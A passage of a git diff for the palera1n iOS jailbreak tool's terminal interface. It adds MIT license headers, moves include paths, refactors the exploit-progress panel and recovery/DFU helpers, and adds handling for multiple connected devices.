FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_TUI #ifndef TUI_HPP @@ -7,7 +34,7 @@ #include #include -#include "../event.hpp" +#include "../events/event.hpp" #include "TuiPanel.hpp" class TuiPanel; diff --git a/src/tui/TuiBranding.cpp b/src/tui/TuiBranding.cpp index 261020f..ba8aa1a 100644 --- a/src/tui/TuiBranding.cpp +++ b/src/tui/TuiBranding.cpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_TUI #include "TuiBranding.hpp" diff --git a/src/tui/TuiBranding.hpp b/src/tui/TuiBranding.hpp index c7794e7..072a150 100644 --- a/src/tui/TuiBranding.hpp +++ b/src/tui/TuiBranding.hpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_TUI #ifndef TUI_BRANDING_HPP diff --git a/src/tui/TuiDfuArt.cpp b/src/tui/TuiDfuArt.cpp index ae667f7..55f024e 100644 --- a/src/tui/TuiDfuArt.cpp +++ b/src/tui/TuiDfuArt.cpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_TUI #include "TuiDfuArt.hpp" diff --git a/src/tui/TuiDfuArt.hpp b/src/tui/TuiDfuArt.hpp index 611aed5..71991d8 100644 --- a/src/tui/TuiDfuArt.hpp +++ b/src/tui/TuiDfuArt.hpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_TUI #ifndef TUI_DFU_ART_HPP diff --git a/src/tui/TuiDfuPanel.cpp b/src/tui/TuiDfuPanel.cpp index 1e4fdaf..d690cc9 100644 --- a/src/tui/TuiDfuPanel.cpp +++ b/src/tui/TuiDfuPanel.cpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_TUI #include "TuiDfuPanel.hpp" @@ -8,14 +35,13 @@ #include #include -#include #include "Tui.hpp" #include "TuiDfuArt.hpp" #include "TuiText.hpp" #include "TuiRecoveryPanel.hpp" #include "../sequence.hpp" -#include "../event.hpp" +#include "../events/event.hpp" #include "../globals.h" #include "../paleinfo.h" @@ -296,13 +322,16 @@ void TuiDfuPanel::handle_device_update(const DeviceState& state) { } if (!state.connected) { - if (!m_isEnteringDfu) { - reset_sequence_state(); - GetFrame()->ShowMain(1); + if (m_isEnteringDfu || m_waitingForDfuTransition) { + return; } + + reset_sequence_state(); + GetFrame()->ShowMain(1); return; } + if (m_isEnteringDfu && state.mode == DeviceMode::DFU) { m_isEnteringDfu = false; m_dfuSuccess = true; @@ -337,22 +366,7 @@ void TuiDfuPanel::reboot() { if (!state.connected || state.mode != DeviceMode::Recovery) return; - irecv_client_t client = nullptr; - int attempts = 0; - const int max_attempts = 8; - - while (attempts < max_attempts) { - if (irecv_open_with_ecid(&client, state.ecid) == IRECV_E_SUCCESS) - break; - attempts++; - std::this_thread::sleep_for(std::chrono::milliseconds(250)); - } - - if (!client) return; - irecv_setenv(client, "auto-boot", "true"); - irecv_saveenv(client); - irecv_reboot(client); - irecv_close(client); + exit_recovery(); }).detach(); } diff --git a/src/tui/TuiDfuPanel.hpp b/src/tui/TuiDfuPanel.hpp index df858e4..843e1e9 100644 --- a/src/tui/TuiDfuPanel.hpp +++ b/src/tui/TuiDfuPanel.hpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_TUI #ifndef TUI_DFU_PANEL_HPP diff --git a/src/tui/TuiExploitPanel.cpp b/src/tui/TuiExploitPanel.cpp index 0d50d4b..9185374 100644 --- a/src/tui/TuiExploitPanel.cpp +++ b/src/tui/TuiExploitPanel.cpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_TUI #include "TuiExploitPanel.hpp" @@ -12,7 +39,7 @@ #include "Tui.hpp" #include "TuiText.hpp" -#include "../m8/run.h" +#include "../exploit.h" static const char *buttons[] = { "Back" }; static constexpr int kExploitContentX = 2; @@ -81,51 +108,42 @@ void TuiExploitPanel::set_status(const std::string& status, int progress) { m_progress = std::clamp(progress, 0, 100); } -void TuiExploitPanel::exploit() { +void TuiExploitPanel::exploit() +{ if (m_is_exploiting) { return; + } else { + m_is_exploiting = true; } - m_is_exploiting = true; - set_status(stage_to_string(STAGE_RESET), 0); - - std::thread([this]() { + std::thread([this]() + { const DeviceState deviceState = GetFrame()->GetDeviceState(); if (!deviceState.connected || deviceState.mode != DeviceMode::DFU) { - set_status("Device is not in DFU mode.", 0); m_is_exploiting = false; return; } - auto sharedState = std::make_shared(); - atomic_init(&sharedState->stage, STAGE_RESET); - atomic_init(&sharedState->stop, false); - atomic_init(&sharedState->result, 0); + auto stage = std::make_shared>(STAGE_RESET); - auto isFinished = std::make_shared>(false); - - std::thread worker([sharedState, isFinished]() { - ::exploit(sharedState.get()); - isFinished->store(true); + std::thread worker([stage]() + { + ::exploit(reinterpret_cast(stage.get())); + stage->store(STAGE_DONE); }); - for (;;) { - int stage = atomic_load(&sharedState->stage); - int progress = stage_to_progress(stage); - bool finished = isFinished->load(); - set_status(stage_to_string(stage), progress); + for (;;) + { + int currentStage = stage->load(); + int progress = stage_to_progress(currentStage); - if (stage == STAGE_DONE || finished) { - atomic_store(&sharedState->stop, true); - break; - } + set_status(stage_to_string(currentStage), progress); + if (currentStage == STAGE_DONE) break; std::this_thread::sleep_for(std::chrono::milliseconds(100)); } - if (worker.joinable()) { - worker.join(); - } + if (worker.joinable()) worker.join(); m_is_exploiting = false; }).detach(); diff --git a/src/tui/TuiExploitPanel.hpp b/src/tui/TuiExploitPanel.hpp index c33d056..d224740 100644 --- a/src/tui/TuiExploitPanel.hpp +++ b/src/tui/TuiExploitPanel.hpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_TUI #ifndef TUI_EXPLOIT_PANEL_HPP diff --git a/src/tui/TuiMainPanel.cpp b/src/tui/TuiMainPanel.cpp index 6db6ada..c229f8c 100644 --- a/src/tui/TuiMainPanel.cpp +++ b/src/tui/TuiMainPanel.cpp @@ -1,14 +1,40 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_TUI #include "TuiMainPanel.hpp" #include - #include #include "Tui.hpp" #include "TuiText.hpp" -#include "../event.hpp" +#include "../events/event.hpp" #include "../globals.h" #include "../paleinfo.h" @@ -19,14 +45,14 @@ static constexpr int kMainSeparatorX = 1; static constexpr int kMainSeparatorWidth = 63; static std::string get_device_title(const DeviceState& state) { + if (state.multipleDevices || state.connectedDeviceCount > 1) { + return "Multiple devices detected"; + } if (!state.connected) { - if (state.connectedDeviceCount > 1) { - return "Multiple devices detected"; - } return "No device connected"; } - const std::string product = state.productType.empty() ? "Unknown" : state.productType; + const std::string product = state.displayName.empty() ? (state.productType.empty() ? "Unknown" : state.productType) : state.displayName; if (state.mode == DeviceMode::DFU) { return "DFU Mode device"; } @@ -34,11 +60,11 @@ static std::string get_device_title(const DeviceState& state) { } static std::string get_device_subtitle(const DeviceState& state) { + if (state.multipleDevices || state.connectedDeviceCount > 1) { + return std::to_string(state.connectedDeviceCount) + + " USB devices connected. Disconnect extras and keep only one device attached."; + } if (!state.connected) { - if (state.connectedDeviceCount > 1) { - return std::to_string(state.connectedDeviceCount) + - "USB devices connected. Disconnect extras and keep only one device attached."; - } return "Please connect a device to get started. Ensure version range is 15.0+"; } @@ -57,7 +83,7 @@ static std::string get_device_subtitle(const DeviceState& state) { } return "Not supported\n" + ecid; case DeviceMode::DFU: - return "Sorry, jailbreaking in DFU mode is not supported."; + return "Sorry, jailbreaking in DFU mode is not supported.\n"; case DeviceMode::None: return "Please connect a device to get started. Ensure version range is 15.0+"; } @@ -180,6 +206,9 @@ void TuiMainPanel::draw(int sy, int sx, int selected) { } void TuiMainPanel::handle_enter(int selected, int sy, int sx) { + DeviceState state = GetFrame()->GetDeviceState(); + const bool block_start = state.multipleDevices || state.connectedDeviceCount > 1; + switch(selected) { case 0: palerain_flags ^= palerain_option_quick; @@ -190,9 +219,9 @@ void TuiMainPanel::handle_enter(int selected, int sy, int sx) { break; case 2: { - DeviceState state = GetFrame()->GetDeviceState(); - bool can_start = (state.connected && state.isSupported && state.mode != DeviceMode::DFU); + if (block_start) break; + bool can_start = (state.connected && state.isSupported && state.mode != DeviceMode::DFU); if (can_start) { if (state.mode == DeviceMode::Recovery) { GetFrame()->ShowDfu(1); @@ -214,6 +243,15 @@ void TuiMainPanel::handle_device_update(const DeviceState& state) {} bool TuiMainPanel::is_button_enabled(int btn_idx) const { DeviceState state = GetFrame()->GetDeviceState(); + if (state.multipleDevices || state.connectedDeviceCount > 1) { + switch(btn_idx) { + case 0: return true; + case 1: return true; + case 2: return false; + case 3: return true; + } + } + switch(btn_idx) { case 0: return true; case 1: return true; diff --git a/src/tui/TuiMainPanel.hpp b/src/tui/TuiMainPanel.hpp index a63971b..0435aee 100644 --- a/src/tui/TuiMainPanel.hpp +++ b/src/tui/TuiMainPanel.hpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_TUI #ifndef TUI_MAIN_PANEL_HPP diff --git a/src/tui/TuiPanel.hpp b/src/tui/TuiPanel.hpp index 2dd791a..b688f74 100644 --- a/src/tui/TuiPanel.hpp +++ b/src/tui/TuiPanel.hpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_TUI #ifndef TUI_PANEL_HPP @@ -5,7 +32,7 @@ #include -#include "../event.hpp" +#include "../events/event.hpp" class TuiFrame; diff --git a/src/tui/TuiRecoveryPanel.cpp b/src/tui/TuiRecoveryPanel.cpp index b966110..97e7e01 100644 --- a/src/tui/TuiRecoveryPanel.cpp +++ b/src/tui/TuiRecoveryPanel.cpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_TUI #include "TuiRecoveryPanel.hpp" @@ -12,9 +39,6 @@ #include "../globals.h" #include "../paleinfo.h" -#include -#include - static const char *buttons[] = { "Back", "Next" }; static constexpr int kRecoveryContentX = 2; static constexpr int kRecoveryContentWidth = 60; @@ -113,26 +137,7 @@ void TuiRecoveryPanel::enter_recovery_mode() { return; } - idevice_t device = nullptr; - lockdownd_client_t client = nullptr; - - if (idevice_new(&device, state.udid.c_str()) != IDEVICE_E_SUCCESS) { - m_is_entering_recovery = false; - m_buttons_disabled = false; - return; - } - - if (lockdownd_client_new_with_handshake(device, &client, "palera1n") != LOCKDOWN_E_SUCCESS) { - idevice_free(device); - m_is_entering_recovery = false; - m_buttons_disabled = false; - return; - } - - lockdownd_enter_recovery(client); - - lockdownd_client_free(client); - idevice_free(device); + enter_recovery(); }).detach(); } diff --git a/src/tui/TuiRecoveryPanel.hpp b/src/tui/TuiRecoveryPanel.hpp index dc8c668..7719fd9 100644 --- a/src/tui/TuiRecoveryPanel.hpp +++ b/src/tui/TuiRecoveryPanel.hpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_TUI #ifndef TUI_RECOVERY_PANEL_HPP diff --git a/src/tui/TuiSettingsPanel.cpp b/src/tui/TuiSettingsPanel.cpp index ccc0433..8c30590 100644 --- a/src/tui/TuiSettingsPanel.cpp +++ b/src/tui/TuiSettingsPanel.cpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_TUI #include "TuiSettingsPanel.hpp" diff --git a/src/tui/TuiSettingsPanel.hpp b/src/tui/TuiSettingsPanel.hpp index c0e430b..bf65934 100644 --- a/src/tui/TuiSettingsPanel.hpp +++ b/src/tui/TuiSettingsPanel.hpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_TUI #ifndef TUI_SETTINGS_PANEL_HPP diff --git a/src/tui/TuiText.hpp b/src/tui/TuiText.hpp index ded46ae..628b142 100644 --- a/src/tui/TuiText.hpp +++ b/src/tui/TuiText.hpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_TUI #ifndef TUI_TEXT_HPP diff --git 